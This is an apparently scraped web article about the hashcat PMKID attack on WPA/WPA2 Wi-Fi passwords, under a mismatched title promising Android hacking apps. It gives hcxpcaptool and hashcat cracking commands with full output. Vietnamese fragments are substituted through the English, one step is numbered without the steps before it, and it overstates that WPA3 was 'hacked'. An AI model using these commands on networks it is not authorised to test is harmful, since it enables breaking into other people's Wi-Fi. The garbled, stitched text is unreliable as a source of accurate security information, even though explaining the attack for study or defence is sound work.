15 BEST WIFI HACKING APPS FOR ANDROID IN 2021

New Attachồng method for WiFi Hacker discovered khổng lồ hachồng WiFi Password that secured with WPA/WPA2 in WiFi networks that allow attackers lớn gain Pre-shared Key hash that used to haông xã Wifi Password used by targeted victims.

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WiFi Alliance recently updated the WiFi protocol WPA3 and claimed that impossible to crachồng since it deployed with a high-cấp độ encryption protocol. But the researcher provides it wrong by exploiting the vulnerability và named it as Dragonblood.


Wi-Fi Protected Access (WPA) available since 2003, later security researchers find a severe vulnerability in WPA let WiFi Hacker could easily exploit và take over the WiFi Network.

Later WiFi Alliance fixed the vulnerability and released WPA2 in 2004 và is a common shorth& for the full IEEE 802.11i which required lớn certificate from WiFI Alliance lớn protect the network from WiFi Hacker.

Very recently, WPA3 announced by Wi-Fi Alliance as a replacement to WPA2 after a researcher found the critical vulnerability in WPA2 that allows WiFi hacker to take over the vulnerable network.

This new WiFi Hacker Method is discovered during the attachồng against the recently released WPA3 security standard which is exceedingly harder lớn craông chồng since its usedSimultaneous Authentication of Equals (SAE), a new key establishment protocol.

New WP3 Security Standard released by Wi-Fi Alliance that providesNext-generation Wi-Fi Security with new capabilities lớn enhance both personal & enterprise networks và the new WP3 security standard that is a successor ofWPA2.


Researcher finds this attack for WiFi Hacker lớn compromise the WPA/WPA2 password without performing EAPOL 4-way handshake.

According lớn Steube who is the developer ofHashcatpassword cracking tool, The new attaông chồng is performed on the RSN IE (Robust Security Network Information Element) of a single EAPOL frame.

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Also, this attachồng work Against all type of802.11i/p/q/r networks with roaming functions enabled, and it’s unclear how many vendors và how many routersthis technique will work.

We've developed a new attack on WPA/WPA2. There's no more complete 4-way handshake recording required. Here's all details & tools you need: https://t.co/3f5eDXJLAe pic.twitter.com/7bDuc4KH3v

— hashmèo (
hashcat) August 4, 2018

How Does this WPA/WPA2 Work for WiFi tin tặc and WiFi hacking Process

Robust Security Network Information Element (RSN IE) is an optional one in 802.11 management frames và its working in a single EAPOL frame.

Pairwise Master Key ID (PMKID) can be captured from RSN IEwhenever the user tries to authenticate with the router.

*
$ ./hcxpcaptool -z chạy thử.16800 demo.pcapng

The content of the written tệp tin will look like this and it splitinkhổng lồ 4columns.

PMKID * MAC AP * MAC Station * ESSID

2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf0e761f4*ed487162465a774bfba60eb603a39f3a

Also, Researcher recommends for WiFi tin tặc that, While not required it is recommended lớn use options -E -I & -U with hcxpcaptool. We can use these files to feed hashcat. They typically produce good results.

-E retrieve sầu possible passwords from WiFi-traffic (additional, this danh sách will include ESSIDs)-I retrieve identities from WiFi-traffic-U retrieve usernames from WiFi-traffic$ ./hcxpcaptool -E essidlist -I identitycác mục -U usernamecác mục -z demo.16800 kiểm tra.pcapng

Step 3

Finally,Run hashcat lớn crack it, we need to use the hash mode PMKID -16800, và we can be used this hash as any other hash type using the following code,

$ ./hashmèo -m 16800 kiểm tra.16800 -a 3 -w 3 ‘?l?l?l?l?l?lt!’

Finally, it cracked the hashWPA-PMKID-PBKDF2

hashcat (v4.2.0) starting…

OpenCL Platform #1: NVIDIA Corporation======================================* Device #1: GeForce GTX 1080, 2028/8112 MB allocatable, 20MCU* Device #2: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU* Device #3: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU* Device #4: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU

Hashes: 1 digests; 1 unique digests, 1 chất lượng saltsBitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Applicable optimizers:* Zero-Byte* Single-Hash* Single-Salt* Brute-Force* Slow-Hash-SIMD-LOOP

Minimum password length supported by kernel: 8Maximum password length supported by kernel: 63

Watchdog: Temperature abort trigger set khổng lồ 90c

2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf0e761f4*ed487162465a774bfba60eb603a39f3a:hashcat!

Session……….: hashcatStatus………..: CrackedHash.Type……..: WPA-PMKID-PBKDF2Hash.Target……: 2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf…a39f3aTime.Started…..: Thu Jul 26 12:51:38 2018 (41 secs)Time.Estimated…: Thu Jul 26 12:52:19 2018 (0 secs)Guess.Mask…….: ?l?l?l?l?l?lt! <8>Guess.Queue……: 1/1 (100.00%)Speed.Dev.#1…..: 408.9 kH/s (103.86ms)
Accel:64 Loops:128 Thr:1024 Vec:1Speed.Dev.#*…..: 1641.3 kH/sRecovered……..: 1/1 (100.00%) Digests, 1/1 (100.00%) SaltsProgress………: 66846720/308915776 (21.64%)Rejected………: 0/66846720 (0.00%)Restore.Point….: 0/11881376 (0.00%)Candidates.#1….: hariert! -> hhzkzet!Candidates.#2….: hdtivst! -> hzxkbnt!Candidates.#3….: gnxpwet! -> gwqivst!Candidates.#4….: gxhcddt! -> grjmrut!HWMon.Dev.#1…..: Temp: 81c Fan: 54% Util: 75% Core:1771MHz Mem:4513MHz Bus:1HWMon.Dev.#2…..: Temp: 81c Fan: 54% Util:100% Core:1607MHz Mem:4513MHz Bus:1HWMon.Dev.#3…..: Temp: 81c Fan: 54% Util: 94% Core:1683MHz Mem:4513MHz Bus:1HWMon.Dev.#4…..: Temp: 81c Fan: 54% Util: 93% Core:1620MHz Mem:4513MHz Bus:1

Started: Thu Jul 26 12:51:30 2018Stopped: Thu Jul 26 12:52:21 2018

When we look at previously available WiFi Hacking attacks for WiFi Hackers, we need to lớn sit back và wait until the target user logged in later we can craông chồng the key by capturing the four-way handshake.

To get access khổng lồ the PMKID, this new attaông xã has to attempt to lớn authenticate khổng lồ the wireless network later we can easily haông xã WiFi password & the crucial pre-shared behalf of WiFi tin tặc.

Also, this method is much easier to access thehash that contains the pre-shared key và later moment the hash will be cracked; also this attaông xã is little complex based on the complexity of the password.

Conclusion

Recently WiFi Alliance released a highly secured protocol WPA3 for WiFi Network but WPA3 Hacked again by the team of security researcher due to lớn the security flaw in the protocol. Using the above method now WiFi Hackers can haông chồng the WiFi Password.

This article is completely for education purpose, please vị not attempt to kiểm tra any WiFi network without permission.

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